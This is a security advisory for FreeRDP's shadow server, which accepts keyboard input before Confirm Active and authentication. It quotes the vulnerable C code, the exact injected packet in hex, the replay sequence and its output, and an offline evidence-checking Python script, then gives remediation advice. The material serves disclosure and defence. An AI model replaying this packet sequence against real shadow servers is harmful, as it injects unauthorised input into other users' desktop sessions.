All vulnerabilities
GHSA-m998-cvfm-9444

FreeRDP shadow accepts host input before Confirm Active and authentication

FreeRDP
CVSS
7.5High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published30 Sep 2026Updated 30 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

An unauthenticated network client can negotiate TLS with freerdp-shadow-cli, complete setup through Client Info, receive Demand Active, and send an input PDU without sending Confirm Active. The server dispatches the input before the shadow server reaches its PostConnect authentication callback. With the default mayInteract = TRUE setting and the X11 backend built with XTEST, the event is injected into the host user's X display.

The lab run assessed current master at fe8e4a68 and sent one scancode press and release in this state. xev on the shadowed display recorded keycode 38, keysym a. A normal client using the same invalid credentials completed the activation sequence and was rejected by shadow_client_post_connect. The attack connection never reached that authentication callback.

This is not a TLS break or credential theft. The demonstrated impact is unauthenticated host-session input, scored High at 7.5. We did not demonstrate screen disclosure, denial of service, or command execution, so the report does not claim confidentiality or availability impact and does not claim Critical severity or RCE.

Affected versions and prerequisites

The vulnerable state-machine branch was introduced before FreeRDP 3.0.0. All 48 available stable 3.x tags from 3.0.0 through 3.31.1 contain the same branch and retain the input-dispatch, shadow-authentication, XTEST, and enabled-interaction path. Current master is also affected. No fixed release is known.

Required conditions are:

  • network access to a FreeRDP shadow listener;
  • the server accepts TLS-only RDP negotiation;
  • shadow authentication is enabled but occurs in PostConnect;
  • interaction is enabled, which is the default;
  • the X11 shadow backend is built with XTEST for the demonstrated sink.

The default server object enables authentication and interaction. Without an explicit bind address, shadow opens the TCP listener on all interfaces. Actual deployment prevalence is unknown.

Technical details

In libfreerdp/core/peer.c, peer_recv_callback_internal handles CONNECTION_STATE_CAPABILITIES_EXCHANGE_CONFIRM_ACTIVE by passing any received PDU to peer_recv_pdu. The comment describes a reactivation exception, but the code does not distinguish reactivation from the initial unauthenticated connection:

case CONNECTION_STATE_CAPABILITIES_EXCHANGE_CONFIRM_ACTIVE:
	/**
	 * During reactivation sequence the client might sent some input or channel data
	 * before receiving the Deactivate All PDU. We need to process them as usual.
	 */
	ret = peer_recv_pdu(client, s);
	break;

peer_recv_data_pdu then dispatches DATA_PDU_TYPE_INPUT without an authentication or activation check:

case DATA_PDU_TYPE_INPUT:
	if (!input_recv(rdp->input, s))
		return STATE_RUN_FAILED;
	break;

server/shadow/shadow_input.c checks only client->mayInteract before invoking the subsystem keyboard callback. The X11 implementation in server/shadow/X11/x11_shadow.c calls XTestFakeKeyEvent and flushes the display.

Authentication occurs later. rdp_peer_handle_state_active calls the peer's PostConnect callback only after the protocol state reaches CONNECTION_STATE_ACTIVE. shadow_client_post_connect then calls the subsystem authentication function and closes the peer if it fails. An initial-connection input PDU therefore reaches the X11 sink before invalid TLS-only credentials can be rejected.

The decisive Confirm Active branch entered the tree in the October 2022 state-machine rewrite, commit 33827cb9. No current source change gates this initial input on successful shadow authentication.

Reproduction and observed result

The authorized current-master run used an authentication-enabled shadow server on a disposable X11 display. The client selected TLS while the server offered RDP, TLS, NLA, and EXT. The replay completed MCS and Client Info, received Demand Active, deliberately omitted Confirm Active, and sent this input packet:

0300003102f08064000803eb70802222001700f103f1030100000110001c0000000100000000000000040000001e000000

Observed replay output:

Demand Active; shareId=0x000103f1
got_da=True
INPUT PDU sent (49 bytes): 0300003102f08064000803eb70802222001700f103f1030100000110001c0000000100000000000000040000001e000000
post-input recv: The read operation timed out

Observed X11 output:

KeyPress event, serial 14, synthetic NO, window 0x42,
    state 0x0, keycode 38 (keysym 0x61, a), same_screen YES,
    XLookupString gives 1 bytes: (61) "a"
KeyRelease event, serial 17, synthetic NO, window 0x42,
    state 0x0, keycode 38 (keysym 0x61, a), same_screen YES,
    XLookupString gives 1 bytes: (61) "a"

For the normal control, the client sent Confirm Active and completed finalization. The same invalid credentials then reached shadow_client_post_connect, which logged client authentication failure: -1, and rdp_peer_handle_state_active reported PostConnect failure. This establishes that the credentials were not valid and that the attack reached the host-input sink earlier than their rejection.

The sibling verifier is network-free and safe to run:

python3 poc/verify_evidence.py

It parses the exact retained packet and checks the minimal negotiation, X11, and normal-authentication records. It verifies the preserved evidence; it does not recreate the live X11 run.

<!-- POC_FILES_BEGIN -->

poc/verify_evidence.py

<!-- BEGIN FILE: poc/verify_evidence.py -->

#!/usr/bin/env python3
"""Offline verifier for the preserved FreeRDP shadow input-injection evidence.

This script performs no network or X11 operations. It checks the exact input
packet and the minimal execution records retained from the authorized lab run.
"""

import struct


PACKET_HEX = (
    "0300003102f08064000803eb70802222001700f103f1030100000110001c000000"
    "0100000000000000040000001e000000"
)

ATTACK_TRANSCRIPT = """\
Demand Active; shareId=0x000103f1
got_da=True
INPUT PDU sent (49 bytes): 0300003102f08064000803eb70802222001700f103f1030100000110001c0000000100000000000000040000001e000000
post-input recv: The read operation timed out
"""

NEGOTIATION_RECORD = """\
Client Security: RDSTLS:0 NLA:0 EXT:0 TLS:1 RDP:0
Server Security: RDSTLS:0 NLA:1 EXT:1 TLS:1 RDP:1
Negotiated Security: RDSTLS:0 NLA:0 EXT:0 TLS:1 RDP:0
"""

XEV_RECORD = """\
KeyPress event, serial 14, synthetic NO, window 0x42,
    state 0x0, keycode 38 (keysym 0x61, a), same_screen YES,
    XLookupString gives 1 bytes: (61) "a"
KeyRelease event, serial 17, synthetic NO, window 0x42,
    state 0x0, keycode 38 (keysym 0x61, a), same_screen YES,
    XLookupString gives 1 bytes: (61) "a"
"""

NORMAL_AUTH_CONTROL = """\
shadow_client_post_connect: Client from 127.0.0.1 is activated (800x600@32)
shadow_client_post_connect: client authentication failure: -1
rdp_peer_handle_state_active: PostConnect for peer failed
"""

# The inspected replay sent these application-level steps in this order. The
# finalization sequence, including Confirm Active, was deliberately omitted.
REPLAY_STEPS = (
    "X.224 TLS-only negotiation",
    "MCS setup and Client Info",
    "receive Demand Active",
    "send DATA_PDU_TYPE_INPUT",
)


def require(condition, message):
    if not condition:
        raise AssertionError(message)


def u16le(data, offset):
    return struct.unpack_from("<H", data, offset)[0]


def u32le(data, offset):
    return struct.unpack_from("<I", data, offset)[0]


def main():
    packet = bytes.fromhex(PACKET_HEX)

    require(packet[:2] == b"\x03\x00", "not a TPKT packet")
    require(struct.unpack_from(">H", packet, 2)[0] == len(packet) == 49,
            "TPKT length mismatch")
    require(packet[4:7] == b"\x02\xf0\x80", "not X.224 data")
    require(packet[7] == 0x64, "not an MCS SendDataRequest")
    require(struct.unpack_from(">H", packet, 10)[0] == 1003,
            "unexpected MCS channel")
    require(u16le(packet, 15) == 34, "unexpected Share Control length")
    require((u16le(packet, 17) & 0x0F) == 0x07,
            "not a Share Control Data PDU")
    require(u32le(packet, 21) == 0x000103F1, "Share ID mismatch")
    require(packet[29] == 0x1C, "not DATA_PDU_TYPE_INPUT")
    require(u16le(packet, 33) == 1, "unexpected input-event count")
    require(u16le(packet, 41) == 0x0004, "not a scancode event")
    require(u16le(packet, 43) == 0, "unexpected keyboard flags")
    require(u16le(packet, 45) == 0x001E, "unexpected scancode")
    require("got_da=True" in ATTACK_TRANSCRIPT, "Demand Active was not recorded")
    require("Confirm Active" not in REPLAY_STEPS,
            "the replay sequence unexpectedly contains Confirm Active")

    require("Server Security: RDSTLS:0 NLA:1 EXT:1 TLS:1 RDP:1"
            in NEGOTIATION_RECORD, "server defaults are missing")
    require("Negotiated Security: RDSTLS:0 NLA:0 EXT:0 TLS:1 RDP:0"
            in NEGOTIATION_RECORD, "TLS-only result is missing")
    require("KeyPress event" in XEV_RECORD and "KeyRelease event" in XEV_RECORD,
            "X11 press/release record is incomplete")
    require("keycode 38 (keysym 0x61, a)" in XEV_RECORD,
            "X11 key identity is missing")
    require("client authentication failure: -1" in NORMAL_AUTH_CONTROL,
            "normal authentication control is missing")
    require("PostConnect for peer failed" in NORMAL_AUTH_CONTROL,
            "normal control did not reach the PostConnect rejection")

    print("PASS: exact 49-byte packet is a scancode DATA_PDU_TYPE_INPUT PDU")
    print("PASS: replay reached Demand Active without a Confirm Active step")
    print("PASS: server offered NLA/EXT/TLS but the client selected TLS only")
    print("PASS: X11 recorded keycode 38 press and release")
    print("PASS: normal completed handshake reached PostConnect and rejected the credentials")
    print("PASS: preserved evidence supports pre-auth host-session input injection")


if __name__ == "__main__":
    main()

<!-- END FILE: poc/verify_evidence.py --> <!-- POC_FILES_END -->

Impact

The demonstrated impact is unauthenticated modification of the host user's interactive session through synthetic keyboard input. The test proves high integrity impact under the stated configuration. It does not prove that the attacker can observe the desktop, crash the service, or reliably execute a command in every desktop environment.

CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N = 7.5, High.

Suggested remediation

Reject input during the initial CONNECTION_STATE_CAPABILITIES_EXCHANGE_CONFIRM_ACTIVE state. The existing reactivation exception should apply only when the same peer is already connected and authenticated. Add a second shadow-layer guard that discards every input callback until authentication succeeds.

Cover slow-path and fast-path keyboard, mouse, extended mouse, Unicode keyboard, and synchronize input. Regression tests should show that input before Confirm Active and before successful PostConnect produces no subsystem callback, while input after a normal authenticated activation and during authenticated reactivation still works.

Until a fix is available, operators can disable interaction, restrict the listener to trusted interfaces and clients, or require a security mode that authenticates before MCS setup.

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0, <= 3.31.1GitHub